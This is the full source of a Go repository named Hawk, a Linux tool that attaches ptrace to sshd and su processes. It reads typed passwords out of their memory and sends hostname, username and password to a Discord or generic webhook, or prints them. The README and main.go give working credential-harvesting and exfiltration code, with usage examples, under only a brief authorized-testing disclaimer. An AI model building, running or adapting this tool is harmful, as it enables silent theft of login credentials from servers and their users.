├── go.mod
├── demo
└── hawk-demo.gif
├── .gitignore
├── helpers.go
├── su_tracer.go
├── README.md
├── ssh_tracer.go
└── main.go
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/platsecurity/Hawk
2 |
3 | go 1.22
4 |
--------------------------------------------------------------------------------
/demo/hawk-demo.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/platsecurity/Hawk/HEAD/demo/hawk-demo.gif
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # If you prefer the allow list template instead of the deny list, see community template:
2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
3 | #
4 | # Binaries for programs and plugins
5 | *.exe
6 | *.exe~
7 | *.dll
8 | *.so
9 | *.dylib
10 |
11 | # Test binary, built with `go test -c`
12 | *.test
13 |
14 | # Output of the go coverage tool, specifically when used with LiteIDE
15 | *.out
16 |
17 | # Dependency directories (remove the comment below to include it)
18 | # vendor/
19 |
20 | # Go workspace file
21 | go.work
22 |
23 | # Binary
24 | hawk
25 |
26 | # Demo GIF
27 | demo/hawk-demo.gif
--------------------------------------------------------------------------------
/helpers.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "strings"
5 | "unicode"
6 | )
7 |
8 | func contains(slice []int, value int) bool {
9 | for _, v := range slice {
10 | if v == value {
11 | return true
12 | }
13 | }
14 | return false
15 | }
16 |
17 | func removeNonPrintableAscii(input string) string {
18 | var resultBuilder []rune
19 |
20 | for _, char := range input {
21 | if unicode.IsPrint(char) && char >= 32 && char != 127 {
22 | resultBuilder = append(resultBuilder, char)
23 | }
24 | }
25 |
26 | return string(resultBuilder)
27 | }
28 |
29 | func isValidPassword(s string) bool {
30 | if len(s) < 3 || len(s) > 100 {
31 | return false
32 | }
33 |
34 | printableCount := 0
35 | replacementCharCount := 0
36 |
37 | for _, r := range s {
38 | if r >= 32 && r < 127 {
39 | printableCount++
40 | } else if r == 0xFFFD {
41 | replacementCharCount++
42 | }
43 | }
44 |
45 | if replacementCharCount > len(s)/5 {
46 | return false
47 | }
48 |
49 | if printableCount < len(s)*4/5 {
50 | return false
51 | }
52 |
53 | lower := strings.ToLower(s)
54 | if strings.HasPrefix(lower, "fsha256") ||
55 | strings.HasPrefix(lower, "ssh-") ||
56 | strings.HasPrefix(lower, "ecdsa-") ||
57 | strings.HasPrefix(lower, "rsa-") ||
58 | strings.HasPrefix(lower, "ed25519") ||
59 | strings.Contains(lower, "curve25519") ||
60 | strings.Contains(lower, "diffie-hellman") ||
61 | strings.Contains(lower, "sntrup") {
62 | return false
63 | }
64 |
65 | return true
66 | }
67 |
--------------------------------------------------------------------------------
/su_tracer.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "io/ioutil"
6 | "runtime"
7 | "strings"
8 | "syscall"
9 | )
10 |
11 | func traceSUProcess(pid int) {
12 | runtime.LockOSThread()
13 | defer runtime.UnlockOSThread()
14 | err := syscall.PtraceAttach(pid)
15 | if err != nil {
16 | return
17 | }
18 | defer func() {
19 | syscall.PtraceDetach(pid)
20 | }()
21 | var wstatus syscall.WaitStatus
22 | var readSyscallCount int
23 | for {
24 |
25 | _, err := syscall.Wait4(pid, &wstatus, 0, nil)
26 | if err != nil {
27 | return
28 | }
29 |
30 | if wstatus.Exited() {
31 | return
32 | }
33 |
34 | var regs syscall.PtraceRegs
35 | err = syscall.PtraceGetRegs(pid, ®s)
36 | if err != nil {
37 | syscall.PtraceDetach(pid)
38 | return
39 | }
40 | if regs.Orig_rax == 0 && regs.Rdi == 0 {
41 | readSyscallCount++
42 | if readSyscallCount == 3 {
43 | buffer := make([]byte, regs.Rdx)
44 | _, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer)
45 | if err != nil {
46 | return
47 | }
48 | if strings.Contains(string(buffer), "\n") {
49 | cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
50 | if err != nil {
51 | return
52 | }
53 | username := "root"
54 | if len(cmdline) > 3 {
55 | parts := strings.Split(string(cmdline), "\x00")
56 | if len(parts) > 1 {
57 | username = parts[1]
58 | } else {
59 | username = strings.TrimRight(string(cmdline[3:]), "\x00")
60 | }
61 | username = removeNonPrintableAscii(username)
62 | }
63 | password := strings.Split(string(buffer), "\n")[0]
64 | password = removeNonPrintableAscii(password)
65 | if isValidPassword(password) {
66 | go exfilPassword(username, password)
67 | }
68 | }
69 | }
70 | }
71 | err = syscall.PtraceSyscall(pid, 0)
72 | if err != nil {
73 | return
74 | }
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Hawk
6 |
7 |
8 |
9 | Silently intercept SSH and SU credentials in real-time
10 |
11 |
12 |
13 | Hawk monitors sshd and su processes, extracting passwords from memory via ptrace without modifying target processes. Zero writes. Pure read-only credential harvesting.
14 |
15 |
16 | ## Demo
17 |
18 | 
19 |
20 | ## How It Works
21 |
22 | Hawk leverages Linux's `/proc` filesystem to discover SSH and SU processes, then uses `ptrace` to attach and intercept syscalls. When password authentication occurs, it reads the password directly from process memory during the `write()` syscall—completely transparent to the target process. Credentials are exfiltrated via webhook or printed to stdout.
23 |
24 | **Deep dive:** [Blog Post](https://www.prodefense.io/blog/hawks-prey-snatching-ssh-credentials)
25 |
26 | ## Build
27 |
28 | ```bash
29 | GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o hawk
30 | ```
31 |
32 | ## Usage
33 |
34 | ### Discord Webhook
35 |
36 | Hawk automatically detects Discord webhooks and sends formatted messages:
37 |
38 | ```bash
39 | ./hawk https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN
40 | ```
41 |
42 | **Setup:** Create a webhook in your Discord server following [Discord's webhook guide](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks). Credentials will appear in your channel formatted with hostname, username, and password.
43 |
44 | ### Generic Webhooks
45 |
46 | For other webhook services (webhook.site, custom servers, etc.):
47 |
48 | ```bash
49 | # HTTPS (auto-detected)
50 | ./hawk https://webhook.site/your-unique-id
51 |
52 | # HTTP
53 | ./hawk http://192.168.1.100:6969/webhook
54 |
55 | # Auto HTTPS if no protocol specified
56 | ./hawk webhook.example.com/path
57 | ```
58 |
59 | ### Stdout Mode
60 |
61 | No webhook? Credentials print to stdout:
62 |
63 | ```bash
64 | ./hawk
65 | ```
66 |
67 | Output:
68 | ```
69 | hostname=server01 username=root password=SuperSecret123
70 | ```
71 |
72 | ## Requirements
73 |
74 | - Linux system with ptrace enabled
75 | - `/proc` filesystem mounted
76 | - Root privileges (required for ptrace)
77 |
78 | ## Disclaimer
79 |
80 | **This tool is for authorized security testing and educational purposes only.** Unauthorized access to computer systems is illegal. Use responsibly and only on systems you own or have explicit permission to test.
81 |
82 | ## Credits
83 |
84 | Inspired by [blendin](https://github.com/blendin)'s work on [3snake](https://github.com/blendin/3snake).
85 |
--------------------------------------------------------------------------------
/ssh_tracer.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "io/ioutil"
6 | "regexp"
7 | "runtime"
8 | "strconv"
9 | "strings"
10 | "syscall"
11 | )
12 |
13 | func traceSSHDProcess(pid int) {
14 | runtime.LockOSThread()
15 | defer runtime.UnlockOSThread()
16 | err := syscall.PtraceAttach(pid)
17 | if err != nil {
18 | return
19 | }
20 | defer func() {
21 | syscall.PtraceDetach(pid)
22 | }()
23 | var wstatus syscall.WaitStatus
24 | var exfiled bool
25 | for {
26 | _, err := syscall.Wait4(pid, &wstatus, 0, nil)
27 | if err != nil {
28 | return
29 | }
30 |
31 | if wstatus.Exited() {
32 | return
33 | }
34 |
35 | if wstatus.StopSignal() == syscall.SIGTRAP {
36 | var regs syscall.PtraceRegs
37 | err := syscall.PtraceGetRegs(pid, ®s)
38 | if err != nil {
39 | syscall.PtraceDetach(pid)
40 | return
41 | }
42 |
43 | if regs.Orig_rax == 1 {
44 | fd := int(regs.Rdi)
45 | if fd >= 0 && fd <= 20 {
46 | bufferSize := int(regs.Rdx)
47 | if bufferSize > 3 && bufferSize < 250 {
48 | buffer := make([]byte, bufferSize)
49 | _, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer)
50 | if err != nil {
51 | syscall.PtraceSyscall(pid, 0)
52 | continue
53 | }
54 |
55 | var password string
56 |
57 | if len(buffer) >= 4 && buffer[0] == 0 && buffer[1] == 0 && buffer[2] == 0 {
58 | length := int(buffer[3])
59 | if length > 0 && length+4 <= len(buffer) {
60 | password = string(buffer[4 : 4+length])
61 | } else if length == 0 && len(buffer) > 4 {
62 | password = string(buffer[4:])
63 | } else {
64 | password = string(buffer)
65 | }
66 | } else {
67 | password = string(buffer)
68 | }
69 |
70 | password = removeNonPrintableAscii(password)
71 | if isValidPassword(password) {
72 | username := "unknown"
73 | cmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
74 | cmdlineStr := strings.ReplaceAll(string(cmdline), "\x00", " ")
75 |
76 | usernamePattern := regexp.MustCompile(`sshd[^:]*:\s*([a-zA-Z0-9_-]+)`)
77 | matches := usernamePattern.FindStringSubmatch(cmdlineStr)
78 | if len(matches) == 2 {
79 | username = matches[1]
80 | }
81 |
82 | if username == "unknown" && strings.Contains(cmdlineStr, "[accepted]") {
83 | ppidData, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/stat", pid))
84 | if err == nil {
85 | ppidStr := strings.Fields(string(ppidData))
86 | if len(ppidStr) > 3 {
87 | ppid, _ := strconv.Atoi(ppidStr[3])
88 | if ppid > 0 {
89 | parentCmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", ppid))
90 | parentCmdlineStr := strings.ReplaceAll(string(parentCmdline), "\x00", " ")
91 | parentMatches := usernamePattern.FindStringSubmatch(parentCmdlineStr)
92 | if len(parentMatches) == 2 {
93 | username = parentMatches[1]
94 | }
95 | }
96 | }
97 | }
98 | }
99 |
100 | if exfiled {
101 | go exfilPassword(username, password)
102 | }
103 | exfiled = !exfiled
104 | }
105 | }
106 | }
107 | }
108 | }
109 |
110 | err = syscall.PtraceSyscall(pid, 0)
111 | if err != nil {
112 | return
113 | }
114 | }
115 | }
116 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "encoding/json"
6 | "fmt"
7 | "io/ioutil"
8 | "net/http"
9 | "net/url"
10 | "os"
11 | "regexp"
12 | "strconv"
13 | "strings"
14 | "sync"
15 | "time"
16 | )
17 |
18 | func findPids() []int {
19 | var sshdPids []int
20 | currentPID := os.Getpid()
21 | procDirs, err := ioutil.ReadDir("/proc")
22 | if err != nil {
23 | return nil
24 | }
25 | for _, dir := range procDirs {
26 | if dir.IsDir() {
27 | pid, err := strconv.Atoi(dir.Name())
28 | if err == nil && pid != currentPID {
29 | sshdPids = append(sshdPids, pid)
30 | }
31 | }
32 | }
33 | return sshdPids
34 | }
35 |
36 | func isSSHPid(pid int) bool {
37 | cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
38 | if err != nil {
39 | return false
40 | }
41 | cmdLineStr := strings.ReplaceAll(string(cmdLine), "\x00", " ")
42 |
43 | patterns := []string{
44 | `sshd:.*\[net\]`,
45 | `sshd:.*@`,
46 | `^sshd:`,
47 | `sshd.*\[priv\]`,
48 | `sshd.*\[accepted\]`,
49 | `sshd-auth:`,
50 | `sshd-session:`,
51 | }
52 |
53 | for _, pattern := range patterns {
54 | if matched, _ := regexp.MatchString(pattern, cmdLineStr); matched {
55 | return true
56 | }
57 | }
58 | return false
59 | }
60 |
61 | func isSUPid(pid int) bool {
62 | cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
63 | if err != nil {
64 | return false
65 | }
66 | return regexp.MustCompile(`^su `).MatchString(strings.ReplaceAll(string(cmdLine), "\x00", " "))
67 | }
68 |
69 | var webhookURL string
70 |
71 | func exfilPassword(username, password string) {
72 | hostname, err := os.Hostname()
73 | if err != nil {
74 | return
75 | }
76 |
77 | if webhookURL == "" {
78 | fmt.Printf("hostname=%s username=%s password=%s\n", hostname, username, password)
79 | return
80 | }
81 |
82 | if strings.Contains(webhookURL, "discord.com/api/webhooks") || strings.Contains(webhookURL, "discordapp.com/api/webhooks") {
83 | content := fmt.Sprintf("**Hostname:** %s\n**Username:** %s\n**Password:** %s", hostname, username, password)
84 | payload := map[string]string{
85 | "content": content,
86 | }
87 | jsonData, _ := json.Marshal(payload)
88 |
89 | req, err := http.NewRequest("POST", webhookURL, bytes.NewBuffer(jsonData))
90 | if err != nil {
91 | return
92 | }
93 | req.Header.Set("Content-Type", "application/json")
94 |
95 | client := &http.Client{}
96 | _, _ = client.Do(req)
97 | } else {
98 | values := url.Values{}
99 | values.Set("hostname", hostname)
100 | values.Set("username", username)
101 | values.Set("password", password)
102 | fullURL := fmt.Sprintf("%s?%s", webhookURL, values.Encode())
103 |
104 | if strings.HasPrefix(webhookURL, "https://") {
105 | _, _ = http.Get(fullURL)
106 | } else if strings.HasPrefix(webhookURL, "http://") {
107 | _, _ = http.Get(fullURL)
108 | } else {
109 | fullURL = fmt.Sprintf("https://%s?%s", webhookURL, values.Encode())
110 | _, _ = http.Get(fullURL)
111 | }
112 | }
113 | }
114 |
115 | func main() {
116 | if len(os.Args) > 1 {
117 | webhookURL = os.Args[1]
118 | }
119 |
120 | var processedFirstPID bool
121 | var processedPids []int
122 | var processedPidsMutex sync.Mutex
123 |
124 | for {
125 | pids := findPids()
126 | for _, pid := range pids {
127 | processedPidsMutex.Lock()
128 |
129 | if isSSHPid(pid) && (!processedFirstPID || !contains(processedPids, pid)) {
130 | if !processedFirstPID {
131 | processedFirstPID = true
132 | } else {
133 | go traceSSHDProcess(pid)
134 | processedPids = append(processedPids, pid)
135 | }
136 | }
137 |
138 | if isSUPid(pid) && (!processedFirstPID || !contains(processedPids, pid)) {
139 | if !processedFirstPID {
140 | processedFirstPID = true
141 | } else {
142 | go traceSUProcess(pid)
143 | processedPids = append(processedPids, pid)
144 | }
145 | }
146 |
147 | processedPidsMutex.Unlock()
148 | }
149 | time.Sleep(250 * time.Millisecond)
150 | }
151 | }
152 |
--------------------------------------------------------------------------------